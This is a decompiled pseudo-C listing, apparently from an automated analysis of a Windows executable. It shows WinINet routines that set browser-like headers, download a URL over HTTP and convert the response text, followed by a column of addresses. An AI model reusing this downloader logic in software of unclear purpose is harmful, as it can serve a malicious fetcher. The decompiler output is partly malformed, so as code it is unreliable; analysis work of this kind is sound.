                                                          				_v8 = 0;
                                                          				_t248 =  >=  ? _v48 :  &_v48;
                                                          				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
                                                          				E004026B0(__ebx,  &_v48, "Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", 0x28);
                                                          				_t252 =  >=  ? _v48 :  &_v48;
                                                          				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
                                                          				E004026B0(__ebx,  &_v48, "Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", 0x32);
                                                          				_t256 =  >=  ? _v48 :  &_v48;
                                                          				HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
                                                          				E004026B0(__ebx,  &_v48, "Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", 0x37);
                                                          				_t260 =  >=  ? _v48 :  &_v48;
                                                          				_t261 = HttpAddRequestHeadersA(_t491,  >=  ? _v48 :  &_v48, _v32, 0x20000000);
                                                          				_t468 = _v28;
                                                          				if(_t468 < 0x10) {
                                                          					L4:
                                                          					 *[fs:0x0] = _v16;
                                                          					_pop(_t492);
                                                          					_pop(_t509);
                                                          					return E0040EBBF(_t261, _t388, _v24 ^ _t521, _t468, _t492, _t509);
                                                          				} else {
                                                          					_t410 = _v48;
                                                          					_t468 = _t468 + 1;
                                                          					_t263 = _t410;
                                                          					if(_t468 < 0x1000) {
                                                          						L3:
                                                          						_push(_t468);
                                                          						_t261 = E0040EDFF(_t410);
                                                          						goto L4;
                                                          					} else {
                                                          						_t410 =  *(_t410 - 4);
                                                          						_t468 = _t468 + 0x23;
                                                          						if(_t263 - _t410 + 0xfffffffc > 0x1f) {
                                                          							E00413527(__ebx, _t468, __eflags);
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							asm("int3");
                                                          							_push(_t521);
                                                          							_t522 = _t526;
                                                          							_push(0xffffffff);
                                                          							_push(0x42c2cb);
                                                          							_push( *[fs:0x0]);
                                                          							_t528 = _t526 - 0x170;
                                                          							_t268 =  *0x43d054; // 0x6e36c9b5
                                                          							_t269 = _t268 ^ _t522;
                                                          							_v152 = _t269;
                                                          							_push(__ebx);
                                                          							_push(HttpAddRequestHeadersA);
                                                          							_push(_t491);
                                                          							_push(_t269);
                                                          							 *[fs:0x0] =  &_v144;
                                                          							_t510 = _t410;
                                                          							__eflags = _t510[0x28];
                                                          							_t493 = _v124;
                                                          							_v456 = _t493;
                                                          							if(__eflags != 0) {
                                                          								_v336 = _t510[0x34];
                                                          							} else {
                                                          								_t510[0x30] = 0x7800;
                                                          								_t387 = E0040EE0D(_t493, _t510, __eflags, 0x7800);
                                                          								_t528 = _t528 + 4;
                                                          								_t510[0x28] = _t387;
                                                          								_t510[0x34] = 0;
                                                          								_v336 = 0;
                                                          							}
                                                          							_v300 = 0;
                                                          							InternetSetFilePointer(_t493, 0, 0, 0, 0);
                                                          							while(1) {
                                                          								_t276 = InternetReadFile(_t493,  &(_t510[0x34][_t510[0x28]]), 0x3e8,  &_v300); // executed
                                                          								_t469 = _v300;
                                                          								_t389 = _t276;
                                                          								_t277 = _t510[0x30];
                                                          								_t510[0x34] =  &(_t510[0x34][_t469]);
                                                          								__eflags = _t277 - _t510[0x34] - 0x3e8;
                                                          								if(__eflags <= 0) {
                                                          									_t510[0x30] = _t277 + 0x7800;
                                                          									_t506 = E0040EE0D(_t493, _t510, __eflags, _t277 + 0x7800);
                                                          									__eflags =  &(_t510[0x34][1]);
                                                          									E004104C0(_t506, _t510[0x28],  &(_t510[0x34][1]));
                                                          									L0040EBCD(_t510[0x28]);
                                                          									_t469 = _v300;
                                                          									_t528 = _t528 + 0x14;
                                                          									_t510[0x28] = _t506;
                                                          									_t493 = _v332;
                                                          								}
                                                          								__eflags = _t389;
                                                          								if(_t389 == 0) {
                                                          									break;
                                                          								}
                                                          								__eflags = _t469;
                                                          								if(_t469 != 0) {
                                                          									continue;
                                                          								}
                                                          								break;
                                                          							}
                                                          							_v300 = 0x103;
                                                          							E00410B00(_t493,  &_v292, 0, 0x104);
                                                          							_t529 = _t528 + 0xc;
                                                          							_t282 = HttpQueryInfoA(_t493, 0x1d,  &_v292,  &_v300, 0);
                                                          							__eflags = _t282;
                                                          							if(_t282 == 0) {
                                                          								L38:
                                                          								_t510[0x34][_t510[0x28]] = 0;
                                                          								 *[fs:0x0] = _v20;
                                                          								_pop(_t494);
                                                          								_pop(_t511);
                                                          								_pop(_t390);
                                                          								__eflags = _v28 ^ _t522;
                                                          								return E0040EBBF(_t510[0x34] - _v336, _t390, _v28 ^ _t522, _t469, _t494, _t511);
                                                          							} else {
                                                          								_v328 = 0;
                                                          								_t288 =  &_v320;
                                                          								_v324 = 0;
                                                          								__imp__CoCreateInstance(_t288, 0, 1, 0x42e2c0,  &_v328);
                                                          								__eflags = _t288;
                                                          								if(_t288 < 0) {
                                                          									goto L38;
                                                          								} else {
                                                          									__eflags = _v328;
                                                          									if(_v328 == 0) {
                                                          										goto L38;
                                                          									} else {
                                                          										_t418 =  &_v292;
                                                          										_v360 = 0;
                                                          										_v344 = 0;
                                                          										_t470 = _t418 + 1;
                                                          										_v340 = 0xf;
                                                          										_v360 = 0;
                                                          										asm("o16 nop [eax+eax]");
                                                          										do {
                                                          											_t289 =  *_t418;
                                                          											_t418 = _t418 + 1;
                                                          											__eflags = _t289;
                                                          										} while (_t289 != 0);
                                                          										E004026B0(_t389,  &_v360,  &_v292, _t418 - _t470);
                                                          										_v12 = 0;
                                                          										_t391 = MultiByteToWideChar;
                                                          										_t422 =  &(_v344[1]);
                                                          										__eflags = _v340 - 0x10;
                                                          										_t293 =  >=  ? _v360 :  &_v360;
                                                          										_v296 = _t422;
                                                          										_t495 = MultiByteToWideChar(0, 0,  >=  ? _v360 :  &_v360, _t422, 0, 0);
                                                          										_t296 = E0040EE0D(_t495, _t510, __eflags,  ~(0 | __eflags > 0x00000000) | _t294 * 0x00000002);
                                                          										_t530 = _t529 + 4;
                                                          										_v332 = _t296;
                                                          										__eflags = _v340 - 0x10;
                                                          										_t428 =  >=  ? _v360 :  &_v360;
                                                          										_t496 = _t296;
                                                          										MultiByteToWideChar(0, 0,  >=  ? _v360 :  &_v360, _v296, _t496, _t495);
                                                          										_t429 = _t496;
                                                          										_v384 = 0;
                                                          										__eflags = 0;
                                                          										_v368 = 0;
                                                          										_v364 = 7;
                                                          										_v384 = 0;
                                                          										_t99 =  &(_t429[1]); // 0x2
                                                          										_t473 = _t99;
                                                          										do {
                                                          											_t299 =  *_t429;
                                                          											_t429 =  &(_t429[1]);
                                                          											__eflags = _t299;
                                                          										} while (_t299 != 0);
                                                          										E00402550(MultiByteToWideChar,  &_v384, _t496);
                                                          										L0040EBCD(_t496);
                                                          										_t531 = _t530 + 4;
                                                          										_v12 = 1;
                                                          										_t302 = _v328;
                                                          										__eflags = _v364 - 8;
                                                          										_t475 =  >=  ? _v384 :  &_v384;
                                                          										_t303 =  *((intOrPtr*)( *_t302 + 0x10))(_t302,  >=  ? _v384 :  &_v384, L"text",  &_v324, _t429 - _t473 >> 1);
                                                          										_v12 = 0;
                                                          										_t498 = _t303;
                                                          										_t476 = _v364;
                                                          										__eflags = _t476 - 8;
                                                          										if(_t476 < 8) {
                                                          											L25:
                                                          											_v12 = 0xffffffff;
                                                          											_t469 = _v340;
                                                          											_v368 = 0;
                                                          											_v364 = 7;
                                                          											_v384 = 0;
                                                          											__eflags = _t469 - 0x10;
                                                          											if(_t469 < 0x10) {
                                                          												L29:
                                                          												__eflags = _t498;
                                                          												if(_t498 >= 0) {
                                                          													__eflags = _v324;
                                                          													if(__eflags != 0) {
                                                          														_t393 = (_t510[0x34] - _v336) * 8 - _t510[0x34] - _v336;
                                                          														_t309 = E0040EE0D(_t498, _t510, __eflags, _t393);
                                                          														_t532 = _t531 + 4;
                                                          														_t436 = _t510[0x34] - _v336;
                                                          														_v296 = 0;
                                                          														_v304 = 0;
                                                          														_t499 =  *_v324;
                                                          														_v332 = _t309;
                                                          														_t469 = _v324;
                                                          														_t394 = _v336;
                                                          														_t312 =  *((intOrPtr*)( *_v324 + 0x10))(_v324, 0, _t436,  &(_t394[_t510[0x28]]), _t393, _t309, _t436,  &_v304,  &_v296, 0);
                                                          														__eflags = _t312;
                                                          														if(_t312 >= 0) {
                                                          															_t316 = _v296;
                                                          															_t480 = _t510[0x30];
                                                          															_t438 =  &(_t394[_v296]);
                                                          															__eflags = _t480 - _t438;
                                                          															if(__eflags > 0) {
                                                          																_t500 = _t510[0x28];
                                                          															} else {
                                                          																_t510[0x30] =  &(_t438[0x3e8]);
                                                          																_t500 = E0040EE0D(_t499, _t510, __eflags,  &(_t438[0x3e8]));
                                                          																E00401760(_t500, _t510[0x30], _t510[0x28], _t394);
                                                          																L0040EBCD(_t510[0x28]);
                                                          																_t480 = _t510[0x30];
                                                          																_t532 = _t532 + 0x10;
                                                          																_t316 = _v296;
                                                          																_t510[0x28] = _t500;
                                                          															}
                                                          															_t469 = _t480 - _t394;
                                                          															E00401760( &(_t394[_t500]), _t480 - _t394, _v332, _t316);
                                                          															_t532 = _t532 + 8;
                                                          															_t319 =  &(_t394[_v296]);
                                                          															__eflags = _t319;
                                                          															_t510[0x34] = _t319;
                                                          														}
                                                          														L0040EBCD(_v332);
                                                          														_t314 = _v324;
                                                          														 *((intOrPtr*)( *_t314 + 8))(_t314);
                                                          													}
                                                          												}
                                                          												_t305 = _v328;
                                                          												 *((intOrPtr*)( *_t305 + 8))(_t305);
                                                          												goto L38;
                                                          											} else {
                                                          												_t441 = _v360;
                                                          												_t469 = _t469 + 1;
                                                          												_t324 = _t441;
                                                          												__eflags = _t469 - 0x1000;
                                                          												if(_t469 < 0x1000) {
                                                          													L28:
                                                          													_push(_t469);
                                                          													E0040EDFF(_t441);
                                                          													_t531 = _t531 + 8;
                                                          													goto L29;
                                                          												} else {
                                                          													_t441 =  *(_t441 - 4);
                                                          													_t469 = _t469 + 0x23;
                                                          													__eflags = _t324 - _t441 + 0xfffffffc - 0x1f;
                                                          													if(__eflags > 0) {
                                                          														goto L39;
                                                          													} else {
                                                          														goto L28;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t465 = _v384;
                                                          											_t489 = 2 + _t476 * 2;
                                                          											_t379 = _t465;
                                                          											__eflags = _t489 - 0x1000;
                                                          											if(_t489 < 0x1000) {
                                                          												L24:
                                                          												_push(_t489);
                                                          												E0040EDFF(_t465);
                                                          												_t531 = _t531 + 8;
                                                          												goto L25;
                                                          											} else {
                                                          												_t441 =  *(_t465 - 4);
                                                          												_t469 = _t489 + 0x23;
                                                          												__eflags = _t379 - _t441 + 0xfffffffc - 0x1f;
                                                          												if(__eflags > 0) {
                                                          													L39:
                                                          													E00413527(_t391, _t469, __eflags);
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													asm("int3");
                                                          													_push(_t522);
                                                          													_t523 = _t531;
                                                          													_push(0xffffffff);
                                                          													_push(0x42c315);
                                                          													_push( *[fs:0x0]);
                                                          													_t534 = _t531 - 0x48;
                                                          													_t331 =  *0x43d054 ^ _t523;
                                                          													__eflags = _t331;
                                                          													_v644 = _t331;
                                                          													_push(_t391);
                                                          													_push(_t510);
                                                          													_push(_t498);
                                                          													_push(_t331);
                                                          													 *[fs:0x0] =  &_v636;
                                                          													_v700 = _t441;
                                                          													_t482 = _v616;
                                                          													_t442 = _t482;
                                                          													_v668 = 0;
                                                          													_v672 = _t482;
                                                          													_v652 = 0;
                                                          													_v648 = 0xf;
                                                          													_t512 = _t442 + 1;
                                                          													_v668 = 0;
                                                          													do {
                                                          														_t333 =  *_t442;
                                                          														_t442 = _t442 + 1;
                                                          														__eflags = _t333;
                                                          													} while (_t333 != 0);
                                                          													E004026B0(_t391,  &_v56, _t482, _t442 - _t512);
                                                          													_v16 = 0;
                                                          													_t395 = _v36;
                                                          													__eflags = _t395 - 0x10;
                                                          													_t513 = _v40;
                                                          													_t483 = _t513;
                                                          													_t446 =  >=  ? _v56 :  &_v56;
                                                          													_t501 = E00402890( >=  ? _v56 :  &_v56, _t513,  >=  ? _v56 :  &_v56, "http://", 7);
                                                          													_t535 = _t534 + 0xc;
                                                          													__eflags = _t501 - 0xffffffff;
                                                          													if(_t501 == 0xffffffff) {
                                                          														L45:
                                                          														__eflags = _v36 - 0x10;
                                                          														_t397 =  >=  ? _v56 :  &_v56;
                                                          														__eflags = _t513;
                                                          														if(_t513 == 0) {
                                                          															L48:
                                                          															_t502 = _t501 | 0xffffffff;
                                                          															__eflags = _t502;
                                                          														} else {
                                                          															_t501 = E00410A50(_t397, 0x2f, _t513);
                                                          															_t535 = _t535 + 0xc;
                                                          															__eflags = _t501;
                                                          															if(_t501 == 0) {
                                                          																goto L48;
                                                          															} else {
                                                          																_t502 = _t501 - _t397;
                                                          															}
                                                          														}
                                                          														__eflags = _t513 - _t502;
                                                          														_v84 = 0;
                                                          														_v68 = 0;
                                                          														_t448 =  <  ? _t513 : _t502;
                                                          														_v64 = 0xf;
                                                          														__eflags = _v36 - 0x10;
                                                          														_t337 =  >=  ? _v56 :  &_v56;
                                                          														_v84 = 0;
                                                          														E004026B0(_t397,  &_v84,  >=  ? _v56 :  &_v56,  <  ? _t513 : _t502);
                                                          														_v16 = 1;
                                                          														_t339 = _v40;
                                                          														__eflags = _t339 - _t502;
                                                          														_t503 =  <  ? _t339 : _t502;
                                                          														__eflags = _v36 - 0x10;
                                                          														_t451 =  >=  ? _v56 :  &_v56;
                                                          														_t340 = _t339 - ( <  ? _t339 : _t502);
                                                          														_v40 = _t339 - ( <  ? _t339 : _t502);
                                                          														E004104C0( >=  ? _v56 :  &_v56,  &(( >=  ? _v56 :  &_v56)[ <  ? _t339 : _t502]), _t339 - ( <  ? _t339 : _t502) + 1);
                                                          														_t398 = _v88;
                                                          														_v92 = 0;
                                                          														E00413604(_t398 + 0x44, 0x104, _v60, 0x103);
                                                          														_t535 = _t535 + 0x1c;
                                                          														asm("sbb eax, eax");
                                                          														_t513 = InternetOpenA( *(_t398 + 0xc),  ~( *(_t398 + 0x38)) & 0x00000003,  *(_t398 + 0x38), 0, 0);
                                                          														_v96 = _t513;
                                                          														__eflags = _t513;
                                                          														if(_t513 != 0) {
                                                          															_v60 = 1;
                                                          															InternetSetOptionA(_t513, 0x41,  &_v60, 4);
                                                          															__eflags = _v64 - 0x10;
                                                          															_t365 =  >=  ? _v84 :  &_v84;
                                                          															_t366 = InternetConnectA(_t513,  >=  ? _v84 :  &_v84, 0x50,  *(_t398 + 0x3c),  *(_t398 + 0x40), 3, 0, 1);
                                                          															_t505 = InternetCloseHandle;
                                                          															_t401 = _t366;
                                                          															__eflags = _t401;
                                                          															if(_t401 != 0) {
                                                          																__eflags = _v36 - 0x10;
                                                          																_t460 =  >=  ? _v56 :  &_v56;
                                                          																_t517 = HttpOpenRequestA(_t401, "GET",  >=  ? _v56 :  &_v56, 0, 0, 0, 0x80400000, 1);
                                                          																__eflags = _t517;
                                                          																if(__eflags != 0) {
                                                          																	E004019F0(_t401, InternetCloseHandle, __eflags, _t517);
                                                          																	_t371 = HttpSendRequestA(_t517, 0, 0, 0, 0);
                                                          																	__eflags = _t371;
                                                          																	if(_t371 != 0) {
                                                          																		_push(_t517);
                                                          																		L6();
                                                          																		_v92 = _t371;
                                                          																	}
                                                          																	 *_t505(_t517);
                                                          																}
                                                          																 *_t505(_t401);
                                                          																_t513 = _v96;
                                                          															}
                                                          															 *_t505(_t513);
                                                          														}
                                                          														_t484 = _v64;
                                                          														__eflags = _v92;
                                                          														_t395 = 0 | _v92 > 0x00000000;
                                                          														__eflags = _t484 - 0x10;
                                                          														if(_t484 < 0x10) {
                                                          															L61:
                                                          															_t485 = _v36;
                                                          															_v68 = 0;
                                                          															_v64 = 0xf;
                                                          															_v84 = 0;
                                                          															__eflags = _t485 - 0x10;
                                                          															if(_t485 < 0x10) {
                                                          																L65:
                                                          																 *[fs:0x0] = _v24;
                                                          																_pop(_t504);
                                                          																_pop(_t514);
                                                          																_pop(_t400);
                                                          																__eflags = _v32 ^ _t523;
                                                          																return E0040EBBF(_t395, _t400, _v32 ^ _t523, _t485, _t504, _t514);
                                                          															} else {
                                                          																_t456 = _v56;
                                                          																_t485 = _t485 + 1;
                                                          																_t352 = _t456;
                                                          																__eflags = _t485 - 0x1000;
                                                          																if(_t485 < 0x1000) {
                                                          																	L64:
                                                          																	_push(_t485);
                                                          																	E0040EDFF(_t456);
                                                          																	goto L65;
                                                          																} else {
                                                          																	_t456 =  *((intOrPtr*)(_t456 - 4));
                                                          																	_t485 = _t485 + 0x23;
                                                          																	__eflags = _t352 - _t456 + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L67;
                                                          																	} else {
                                                          																		goto L64;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t458 = _v84;
                                                          															_t486 = _t484 + 1;
                                                          															_t358 = _t458;
                                                          															__eflags = _t486 - 0x1000;
                                                          															if(_t486 < 0x1000) {
                                                          																L60:
                                                          																_push(_t486);
                                                          																E0040EDFF(_t458);
                                                          																_t535 = _t535 + 8;
                                                          																goto L61;
                                                          															} else {
                                                          																_t456 =  *((intOrPtr*)(_t458 - 4));
                                                          																_t485 = _t486 + 0x23;
                                                          																__eflags = _t358 - _t456 + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L67;
                                                          																} else {
                                                          																	goto L60;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														__eflags = _t513 - _t501;
                                                          														if(_t513 < _t501) {
                                                          															E004027F0(_t446, _t483);
                                                          															L67:
                                                          															E00413527(_t395, _t485, __eflags);
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															asm("int3");
                                                          															_push(_t523);
                                                          															_push(_t513);
                                                          															_t515 = _t456;
                                                          															_t357 =  *(_t515 + 0x2c);
                                                          															 *(_t515 + 0x34) = 0;
                                                          															__eflags = _t357;
                                                          															if(_t357 != 0) {
                                                          																_t357 = L0040EBCD(_t357);
                                                          																 *(_t515 + 0x2c) = 0;
                                                          															}
                                                          															_push(_v8);
                                                          															L40();
                                                          															return _t357;
                                                          														} else {
                                                          															_t376 = _t513 - _t501;
                                                          															__eflags = _t376 - 7;
                                                          															_t488 =  <  ? _t376 : 7;
                                                          															__eflags = _t395 - 0x10;
                                                          															_t463 =  >=  ? _v56 :  &_v56;
                                                          															_t518 = _t513 - 7;
                                                          															_t464 =  &(( >=  ? _v56 :  &_v56)[_t501]);
                                                          															_v40 = _t518;
                                                          															__eflags = _t518 - _t501 + 1;
                                                          															E004104C0( &(( >=  ? _v56 :  &_v56)[_t501]),  &(( &(( >=  ? _v56 :  &_v56)[_t501]))[ <  ? _t376 : 7]), _t518 - _t501 + 1);
                                                          															_t513 = _v40;
                                                          															_t535 = _t535 + 0xc;
                                                          															goto L45;
                                                          														}
                                                          													}
                                                          												} else {
                                                          													goto L24;
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							goto L3;
                                                          						}
                                                          					}
                                                          				}
                                                          			}



















































































































































                                                          0x004019f0
                                                          0x004019f3
                                                          0x004019f5
                                                          0x00401a00
                                                          0x00401a01
                                                          0x00401a04
                                                          0x00401a09
                                                          0x00401a0b
                                                          0x00401a0f
                                                          0x00401a10
                                                          0x00401a14
                                                          0x00401a1a
                                                          0x00401a22
                                                          0x00401a2e
                                                          0x00401a35
                                                          0x00401a3c
                                                          0x00401a40
                                                          0x00401a45
                                                          0x00401a59
                                                          0x00401a67
                                                          0x00401a73
                                                          0x00401a87
                                                          0x00401a8d
                                                          0x00401a99
                                                          0x00401aad
                                                          0x00401ab3
                                                          0x00401abf
                                                          0x00401ad3
                                                          0x00401ad9
                                                          0x00401adb
                                                          0x00401ae1
                                                          0x00401b0b
                                                          0x00401b0e
                                                          0x00401b16
                                                          0x00401b17
                                                          0x00401b25
                                                          0x00401ae3
                                                          0x00401ae3
                                                          0x00401ae6
                                                          0x00401ae7
                                                          0x00401aef
                                                          0x00401b01
                                                          0x00401b01
                                                          0x00401b03
                                                          0x00000000
                                                          0x00401af1
                                                          0x00401af1
                                                          0x00401af4
                                                          0x00401aff
                                                          0x00401b28
                                                          0x00401b2d
                                                          0x00401b2e
                                                          0x00401b2f
                                                          0x00401b30
                                                          0x00401b31
                                                          0x00401b33
                                                          0x00401b35
                                                          0x00401b40
                                                          0x00401b41
                                                          0x00401b47
                                                          0x00401b4c
                                                          0x00401b4e
                                                          0x00401b51
                                                          0x00401b52
                                                          0x00401b53
                                                          0x00401b54
                                                          0x00401b58
                                                          0x00401b5e
                                                          0x00401b60
                                                          0x00401b64
                                                          0x00401b67
                                                          0x00401b6d
                                                          0x00401b9c
                                                          0x00401b6f
                                                          0x00401b74
                                                          0x00401b7b
                                                          0x00401b80
                                                          0x00401b83
                                                          0x00401b86
                                                          0x00401b8d
                                                          0x00401b8d
                                                          0x00401bab
                                                          0x00401bb5
                                                          0x00401bc0
                                                          0x00401bd4
                                                          0x00401bda
                                                          0x00401be0
                                                          0x00401be2
                                                          0x00401be7
                                                          0x00401bed
                                                          0x00401bf3
                                                          0x00401bfb
                                                          0x00401c06
                                                          0x00401c08
                                                          0x00401c0e
                                                          0x00401c16
                                                          0x00401c1b
                                                          0x00401c21
                                                          0x00401c24
                                                          0x00401c27
                                                          0x00401c27
                                                          0x00401c2d
                                                          0x00401c2f
                                                          0x00000000
                                                          0x00000000
                                                          0x00401c31
                                                          0x00401c33
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00401c33
                                                          0x00401c40
                                                          0x00401c4d
                                                          0x00401c52
                                                          0x00401c68
                                                          0x00401c6e
                                                          0x00401c70
                                                          0x00401fd5
                                                          0x00401fdb
                                                          0x00401feb
                                                          0x00401ff3
                                                          0x00401ff4
                                                          0x00401ff5
                                                          0x00401ff9
                                                          0x00402003
                                                          0x00401c76
                                                          0x00401c7c
                                                          0x00401c90
                                                          0x00401c96
                                                          0x00401ca1
                                                          0x00401ca7
                                                          0x00401ca9
                                                          0x00000000
                                                          0x00401caf
                                                          0x00401caf
                                                          0x00401cb6
                                                          0x00000000
                                                          0x00401cbc
                                                          0x00401cbc
                                                          0x00401cc2
                                                          0x00401ccc
                                                          0x00401cd6
                                                          0x00401cd9
                                                          0x00401ce3
                                                          0x00401cea
                                                          0x00401cf0
                                                          0x00401cf0
                                                          0x00401cf2
                                                          0x00401cf3
                                                          0x00401cf3
                                                          0x00401d07
                                                          0x00401d0c
                                                          0x00401d1f
                                                          0x00401d25
                                                          0x00401d26
                                                          0x00401d2f
                                                          0x00401d3e
                                                          0x00401d48
                                                          0x00401d59
                                                          0x00401d5e
                                                          0x00401d61
                                                          0x00401d67
                                                          0x00401d74
                                                          0x00401d7c
                                                          0x00401d8a
                                                          0x00401d8c
                                                          0x00401d8e
                                                          0x00401d98
                                                          0x00401d9a
                                                          0x00401da4
                                                          0x00401dae
                                                          0x00401db5
                                                          0x00401db5
                                                          0x00401dc0
                                                          0x00401dc0
                                                          0x00401dc3
                                                          0x00401dc6
                                                          0x00401dc6
                                                          0x00401dd7
                                                          0x00401ddd
                                                          0x00401de2
                                                          0x00401de5
                                                          0x00401def
                                                          0x00401dfb
                                                          0x00401e03
                                                          0x00401e13
                                                          0x00401e16
                                                          0x00401e1a
                                                          0x00401e1c
                                                          0x00401e22
                                                          0x00401e25
                                                          0x00401e5c
                                                          0x00401e5e
                                                          0x00401e65
                                                          0x00401e6b
                                                          0x00401e75
                                                          0x00401e7f
                                                          0x00401e86
                                                          0x00401e89
                                                          0x00401eba
                                                          0x00401eba
                                                          0x00401ebc
                                                          0x00401ec2
                                                          0x00401ec9
                                                          0x00401edf
                                                          0x00401ee2
                                                          0x00401eed
                                                          0x00401ef3
                                                          0x00401ef9
                                                          0x00401f05
                                                          0x00401f0f
                                                          0x00401f1e
                                                          0x00401f25
                                                          0x00401f31
                                                          0x00401f3e
                                                          0x00401f41
                                                          0x00401f43
                                                          0x00401f45
                                                          0x00401f4b
                                                          0x00401f4e
                                                          0x00401f51
                                                          0x00401f53
                                                          0x00401f8d
                                                          0x00401f55
                                                          0x00401f5c
                                                          0x00401f67
                                                          0x00401f6f
                                                          0x00401f77
                                                          0x00401f7c
                                                          0x00401f7f
                                                          0x00401f82
                                                          0x00401f88
                                                          0x00401f88
                                                          0x00401f97
                                                          0x00401f9c
                                                          0x00401fa7
                                                          0x00401faa
                                                          0x00401faa
                                                          0x00401fac
                                                          0x00401fac
                                                          0x00401fb5
                                                          0x00401fba
                                                          0x00401fc6
                                                          0x00401fc6
                                                          0x00401ec9
                                                          0x00401fc9
                                                          0x00401fd2
                                                          0x00000000
                                                          0x00401e8b
                                                          0x00401e8b
                                                          0x00401e91
                                                          0x00401e92
                                                          0x00401e94
                                                          0x00401e9a
                                                          0x00401eb0
                                                          0x00401eb0
                                                          0x00401eb2
                                                          0x00401eb7
                                                          0x00000000
                                                          0x00401e9c
                                                          0x00401e9c
                                                          0x00401e9f
                                                          0x00401ea7
                                                          0x00401eaa
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00401eaa
                                                          0x00401e9a
                                                          0x00401e27
                                                          0x00401e27
                                                          0x00401e2d
                                                          0x00401e34
                                                          0x00401e36
                                                          0x00401e3c
                                                          0x00401e52
                                                          0x00401e52
                                                          0x00401e54
                                                          0x00401e59
                                                          0x00000000
                                                          0x00401e3e
                                                          0x00401e3e
                                                          0x00401e41
                                                          0x00401e49
                                                          0x00401e4c
                                                          0x00402006
                                                          0x00402006
                                                          0x0040200b
                                                          0x0040200c
                                                          0x0040200d
                                                          0x0040200e
                                                          0x0040200f
                                                          0x00402010
                                                          0x00402011
                                                          0x00402013
                                                          0x00402015
                                                          0x00402020
                                                          0x00402021
                                                          0x00402029
                                                          0x00402029
                                                          0x0040202b
                                                          0x0040202e
                                                          0x0040202f
                                                          0x00402030
                                                          0x00402031
                                                          0x00402035
                                                          0x0040203b
                                                          0x0040203e
                                                          0x00402041
                                                          0x00402043
                                                          0x0040204a
                                                          0x0040204d
                                                          0x00402054
                                                          0x0040205b
                                                          0x0040205e
                                                          0x00402062
                                                          0x00402062
                                                          0x00402064
                                                          0x00402065
                                                          0x00402065
                                                          0x00402070
                                                          0x00402075
                                                          0x0040207f
                                                          0x00402082
                                                          0x00402085
                                                          0x00402088
                                                          0x0040208a
                                                          0x0040209b
                                                          0x0040209d
                                                          0x004020a0
                                                          0x004020a3
                                                          0x004020e0
                                                          0x004020e0
                                                          0x004020e7
                                                          0x004020eb
                                                          0x004020ed
                                                          0x00402105
                                                          0x00402105
                                                          0x00402105
                                                          0x004020ef
                                                          0x004020f8
                                                          0x004020fa
                                                          0x004020fd
                                                          0x004020ff
                                                          0x00000000
                                                          0x00402101
                                                          0x00402101
                                                          0x00402101
                                                          0x004020ff
                                                          0x00402108
                                                          0x0040210a
                                                          0x00402113
                                                          0x0040211a
                                                          0x0040211d
                                                          0x00402124
                                                          0x0040212c
                                                          0x00402134
                                                          0x00402138
                                                          0x0040213d
                                                          0x00402144
                                                          0x00402147
                                                          0x00402149
                                                          0x0040214c
                                                          0x00402150
                                                          0x00402154
                                                          0x00402156
                                                          0x00402160
                                                          0x00402165
                                                          0x0040216b
                                                          0x00402183
                                                          0x0040218b
                                                          0x00402195
                                                          0x004021a4
                                                          0x004021a6
                                                          0x004021a9
                                                          0x004021ab
                                                          0x004021b6
                                                          0x004021c1
                                                          0x004021c7
                                                          0x004021d0
                                                          0x004021e2
                                                          0x004021e8
                                                          0x004021ee
                                                          0x004021f0
                                                          0x004021f2
                                                          0x004021f4
                                                          0x004021fd
                                                          0x00402219
                                                          0x0040221b
                                                          0x0040221d
                                                          0x00402220
                                                          0x0040222e
                                                          0x00402234
                                                          0x00402236
                                                          0x0040223b
                                                          0x0040223c
                                                          0x00402241
                                                          0x00402241
                                                          0x00402245
                                                          0x00402245
                                                          0x00402248
                                                          0x0040224a
                                                          0x0040224a
                                                          0x0040224e
                                                          0x0040224e
                                                          0x00402250
                                                          0x00402255
                                                          0x00402258
                                                          0x0040225b
                                                          0x0040225e
                                                          0x00402288
                                                          0x00402288
                                                          0x0040228b
                                                          0x00402292
                                                          0x00402299
                                                          0x0040229d
                                                          0x004022a0
                                                          0x004022ca
                                                          0x004022cf
                                                          0x004022d7
                                                          0x004022d8
                                                          0x004022d9
                                                          0x004022dd
                                                          0x004022e7
                                                          0x004022a2
                                                          0x004022a2
                                                          0x004022a5
                                                          0x004022a6
                                                          0x004022a8
                                                          0x004022ae
                                                          0x004022c0
                                                          0x004022c0
                                                          0x004022c2
                                                          0x00000000
                                                          0x004022b0
                                                          0x004022b0
                                                          0x004022b3
                                                          0x004022bb
                                                          0x004022be
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004022be
                                                          0x004022ae
                                                          0x00402260
                                                          0x00402260
                                                          0x00402263
                                                          0x00402264
                                                          0x00402266
                                                          0x0040226c
                                                          0x0040227e
                                                          0x0040227e
                                                          0x00402280
                                                          0x00402285
                                                          0x00000000
                                                          0x0040226e
                                                          0x0040226e
                                                          0x00402271
                                                          0x00402279
                                                          0x0040227c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040227c
                                                          0x0040226c
                                                          0x004020a5
